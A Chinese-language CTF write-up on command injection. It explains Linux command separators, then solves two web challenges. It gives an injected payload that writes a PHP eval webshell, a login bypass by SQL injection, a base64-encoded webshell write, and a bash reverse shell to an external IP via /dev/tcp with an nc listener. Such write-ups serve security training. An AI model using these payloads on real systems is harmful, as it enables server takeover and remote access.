目錄
-
僅代碼層面來說,任意命令執行漏洞的利用條件:
1.代碼中存在調用系統命令的函數
2.函數中存在我們可控的點
3.可控點沒有過濾,或過濾不嚴格。 -
Linux命令連接符
;
分號
各個命令依次執行,輸出結果,互不影響。
|
管道符
前一個命令的輸出(左邊),作為后一個命令的輸入(右邊),可以連續使用。
&
后台運行符
將此命令后台運行,shell可立即執行其他命令。
&&
邏輯與
只有前一個命令執行成功,才會執行后面的命令。
||
邏輯或
前面的命令執行失敗才會去執行后面的命令,直到執行成功。
第一題命令執行01
題目URL:http://whalwl.xyz:8033/
其中export.php源碼如下:
<?php
if (isset($_POST['name'])){
$name = $_POST['name'];
exec("tar -zcvf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">
導出成功,<a href='backup/$name'>點擊下載</a></div>";
}
?>
-
執行命令:
tar -zcvf backup/$name images/*.jpg
其中$name
可控 -
構造Payload,在網站目錄寫一句話木馬。:
backup.tar.gz;echo '<?php @eval($_POST["x"]); ?>' >shell.php
第二題命令執行02
- 題目URL:http://whalwl.xyz:8034/
登錄界面存在萬能密碼
賬戶:1' or 1#
密碼隨意
老方法寫一句話webshell:
127.0.0.1|echo PD9waHAgQGV2YWwoJF9QT1NUW29rXSk7Pz4= |base64 -d > shell.php
卻發現寫入失敗,可能是沒權限,那我們直接反彈shell
反彈shell:
在自己的外網機器上監聽: nc -lvp 9999
ip:127.0.0.1&bash -i >& /dev/tcp/167.160.xxx.217/9999 0>&1
點擊檢測網絡情況
就會執行反彈命令